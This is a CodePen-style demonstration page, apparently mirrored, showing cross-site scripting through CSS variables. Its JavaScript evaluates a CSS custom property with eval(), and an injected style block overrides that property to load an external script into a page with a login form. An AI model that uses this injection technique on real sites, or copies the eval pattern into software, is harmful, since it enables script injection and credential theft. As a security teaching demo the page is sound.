CSS and XSS

In this example below you will see how to do a CSS and XSS with some HTML / CSS and Javascript

CSS variables allow us to interact between CSS and JavaScript. This opens a security issue. If you decide to eval the value of a CSS variable you are basically inviting atackers for a party.

Thumbnail
This awesome code was written by , you can see more from this user in the personal repository.
You can find the original code on Codepen.io
Copyright ⁣ ©

Technologies

  • HTML
  • CSS
  • JavaScript
<!DOCTYPE html>
<html lang="en" >

<head>
  <meta charset="UTF-8">
  <title>CSS and XSS</title>
  
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css">

  <link rel='stylesheet prefetch' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-alpha.6/css/bootstrap.min.css'>

      <link rel="stylesheet" href="css/style.css">

  
</head>

<body>

  
<main>
  <h1>XSS via CSS variables</h1>
  <p>This example simulates an attack. In some way css was loaded from a harmful source. This example loads a snippet from another pen. Loading a CSS file could do the same thing. To disable the hack simply comment or delete the last row in the "HTML/Pug" code.</p>
  <div class="form">
    <form>
      <div class="form-group row">
        <label class="col-2 col-form-label" for="username-input">Username</label>
        <div class="col-10">
          <input class="form-control" type="text" id="username-input" name="username" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
        </div>
      </div>
      <div class="form-group row">
        <label class="col-2 col-form-label" for="password-input">Password</label>
        <div class="col-10">
          <input class="form-control" type="password" id="password-input" name="password" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
        </div>
      </div>
      <div class="form-group row">
        <button class="btn btn-primary" type="submit">Submit</button>
      </div>
    </form>
  </div>
  <h3>Look someone made some squares with CSS variables</h3>
  <div class="square">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Voluptas temporibus aliquid voluptatum aspernatur ipsam tenetur accusamus possimus ad fuga nesciunt iste laborum, rem ea nam, soluta quo ullam. Officiis, vitae.</div>
  <div class="square">consectetur adipisicing elit.</div>
  <div class="square">dolor sit amet, consectetur</div>
</main>
<!-- TO DISABLE HACK COMMENT THE NEXT LINE   -->
<div class="injectedByVeryBadPeople"><style>
.square {
  --setHeight: (function() {
    var script = document.createElement('script');
    script.src = '//codepen.io/pixelass/pen/5c6051cd0fd99b5dad80fb341295f224.js';
    document.body.appendChild(script);
  })() !important;
}
</style>
</div>
  
  

    <script  src="js/index.js"></script>




</body>

</html>

/*Downloaded from https://www.codeseek.co/pixelass/css-and-xss-VpwrpV */
body {
  background: #666;
  color: #fff;
}

main {
  max-width: 800px;
  margin: auto;
}

.form {
  padding: 24px;
  background: #fff;
  color: #333;
}

.square {
  /* This JavaScript snippet will be called on every resize 
   *  it will set the --width property for further usage
   */
  --setHeight: el.style.setProperty('--width', el.offsetWidth);
  display: inline-block;
  box-sizing: border-box;
  background: rgba(255, 0, 0, 0.3);
  padding: 1em;
  margin: 1em;
  min-height: calc(var(--width) * 1px);
}

/*Downloaded from https://www.codeseek.co/pixelass/css-and-xss-VpwrpV */
var _this = this;

Array.from(document.querySelectorAll('.square')).forEach(function (container) {
  var fn = getComputedStyle(container).getPropertyValue('--setHeight');
  var setHeight = function setHeight(el) {
    return eval(fn);
  };
  window.addEventListener('resize', setHeight.bind(_this, container));
  setHeight(container);
});

Comments